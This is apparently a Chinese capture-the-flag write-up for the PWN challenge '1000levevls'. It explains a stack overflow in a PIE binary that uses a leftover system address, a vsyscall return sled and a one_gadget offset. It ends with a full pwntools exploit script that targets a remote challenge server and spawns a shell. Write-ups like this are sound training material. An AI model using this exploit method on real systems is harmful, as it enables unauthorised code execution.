攻防世界PWN之1000levevls题解

1000levevls

本题是一个栈溢出题,难点在于开启了PIE,因此里面的函数地址是随机的。

攻防世界PWN之1000levevls题解

溢出点在这里

攻防世界PWN之1000levevls题解

让我们看看提示功能的函数

攻防世界PWN之1000levevls题解

看看它的汇编代码

攻防世界PWN之1000levevls题解

不管条件是否成立,system的地址都会保存到这个函数的rbp-110h处,也就是当前函数的栈顶。

我们再看看这个函数

攻防世界PWN之1000levevls题解

我们进去看看

攻防世界PWN之1000levevls题解

如果我们输入的levels大于0v7才有初始化,那么,如果没有初始化,它的值会是什么呢?

关键点就在这里

 

攻防世界PWN之1000levevls题解

V7也就是rbp-110h处的数据,由于这个函数和hint函数都是在主函数里依次调用的,它们的rbp是同一个,只是在不同时刻使用而已。那么,如果我们先执行一次hint功能,再进入这个函数,那么,v7就会存储着system的地址!

 

现在我们的目的是进入那个有溢出的函数,看看能不能覆盖它的返回地址

攻防世界PWN之1000levevls题解

这个函数是在go函数里调用的,因此它的rbp也就是go函数的rsp

攻防世界PWN之1000levevls题解

进入这个函数后,栈中的布局是这样的

answer函数0x38的数据区

answer函数的rbp

answer函数的返回地址

Go函数的rsp-120h处

Go函数的rsp-118处

Go函数的rsp-110处(存着system地址)

…….

Go函数的rbp

Go函数的返回地址

 

在answer函数中,我们的buf是在rbp – 30h处,因此我们要输入30h + 8h = 38h个字符,才能覆盖到answer的返回地址。

攻防世界PWN之1000levevls题解

 

关键是我们不知道,返回地址该覆盖成什么,因为开启了PIE,地址是随机的。

然而,在偏移3*8 = 24字节处,却保存着system的地址,要是我们能划过这24字节,到system不就好了吗?正如welpwn题那样利用pop划过。然而,pop在这里也用不了,因为是随机地址,我们找不到。

 

然而,有一个例外的东西,它的地址是固定的。那就是vsyscall

 

攻防世界PWN之1000levevls题解

Vsyscall用于系统调用,它的地址固定在0xffffffffff600000-0xffffffffff601000vsyscall在内核中实现,无法用docker模拟。因此某些虚拟机上可能不成功。

 

简单地说,现代的Windows/*Unix操作系统都采用了分级保护的方式,内核代码位于R0,用户代码位于R3。许多对硬件和内核等的操作都会被包装成内核函数并提供一个接口给用户层代码调用,这个接口就是我们熟知的int 0x80/syscall+调用号模式。当我们每次调用这个接口时,为了保证数据的隔离,我们需要把当前的上下文(寄存器状态等)保存好,然后切换到内核态运行内核函数,然后将内核函数返回的结果放置到对应的寄存器和内存中,再恢复上下文,切换到用户模式。这一过程需要耗费一定的性能。对于某些系统调用,如gettimeofday来说,由于他们经常被调用,如果每次被调用都要这么来回折腾一遍,开销就会变成一个累赘。因此系统把几个常用的无参内核调用从内核中映射到用户空间中,这就是vsyscall(引文来自https://bbs.ichunqiu.com/thread-43627-1-1.html)

 

我们要利用的就是最后的那个retn,因为它会从栈顶弹出一个元素,就相当于esp下移了一个单位。我们把answer的返回地址处以及栈下面2个都覆盖成vsyscall的地址0xffffffffff600000,那么,栈变成这样

answer函数0x38的数据区

answer函数的rbp

answer函数的返回地址(0xffffffffff600000)

Go函数的rsp-120h处(0xffffffffff600000)

Go函数的rsp-118处(0xffffffffff600000)

Go函数的rsp-110处(存着system地址)

…….

Go函数的rbp

Go函数的返回地址

这样,三次的vsyscall,相当于从这片区域滑到了Go函数的rsp-110处,这样,接下来就会执行system了。

 

然而,system函数需要一个参数,并且x64使用寄存器传参,那么我们就不能用system了。我们考虑用没有参数的函数,我们可以用one-gadget工具查找libc中可用的函数。

攻防世界PWN之1000levevls题解

攻防世界PWN之1000levevls题解

我们如何让rsp-110h存储着gadget的地址呢,我们只得到了它的静态地址。

我们看到那个go函数里.

攻防世界PWN之1000levevls题解

 

假如,我们输入的数字为n,也就是

[rsp-110h] = system_addr +n

 

假如[rsp-110h] 是gadget的加载地址,那么n = gadget_addr - system_addr,我们知道,两个函数之间的偏移是固定的,不管是静态分析,还是动态载入时,它们相对地址是不变的。因此,我们可以用它们在libc中的静态地址,来算出n,我们得到的gadgetlibc.so0x4526a

,那么n = 0x4526a – libc.sym[‘system’]

 

我们需要答对前99题,最后一题,我们再发送payload

攻防世界PWN之1000levevls题解

 

于是,我们最终写出如下exp脚本

  1. #coding:utf8  
  2. from pwn import *  
  3.   
  4. #sh = process('./100levels')  
  5. sh = remote('111.198.29.45',32799)  
  6. libc = ELF('/libc.so')  
  7.   
  8. vsyscall = 0xffffffffff600000  
  9.   
  10. system_addr = libc.sym['system']  
  11. execv_gadget = 0x4526a  
  12. offset_addr = execv_gadget - system_addr  
  13.   
  14. #先执行2,让system的地址存储到栈里  
  15. sh.sendlineafter('Choice:\n','2')  
  16.   
  17. sh.sendlineafter('Choice:\n','1')  
  18.   
  19. sh.sendlineafter('How many levels?\n','0')  
  20.   
  21. sh.sendafter('Any more?\n',str(offset_addr))  
  22.   
  23. for i in range(0,99):  
  24.    sh.recvuntil('Question: ')  
  25.    a = int(sh.recvuntil(' '))  
  26.    sh.recvuntil('* ')  
  27.    b = int(sh.recvuntil(' '))  
  28.    sh.sendlineafter('Answer:',str(a*b))  
  29.   
  30. payload = 'a'*0x38 + p64(vsyscall)*3  
  31.   
  32. sh.sendafter('Answer:',payload)  
  33.   
  34. sh.interactive()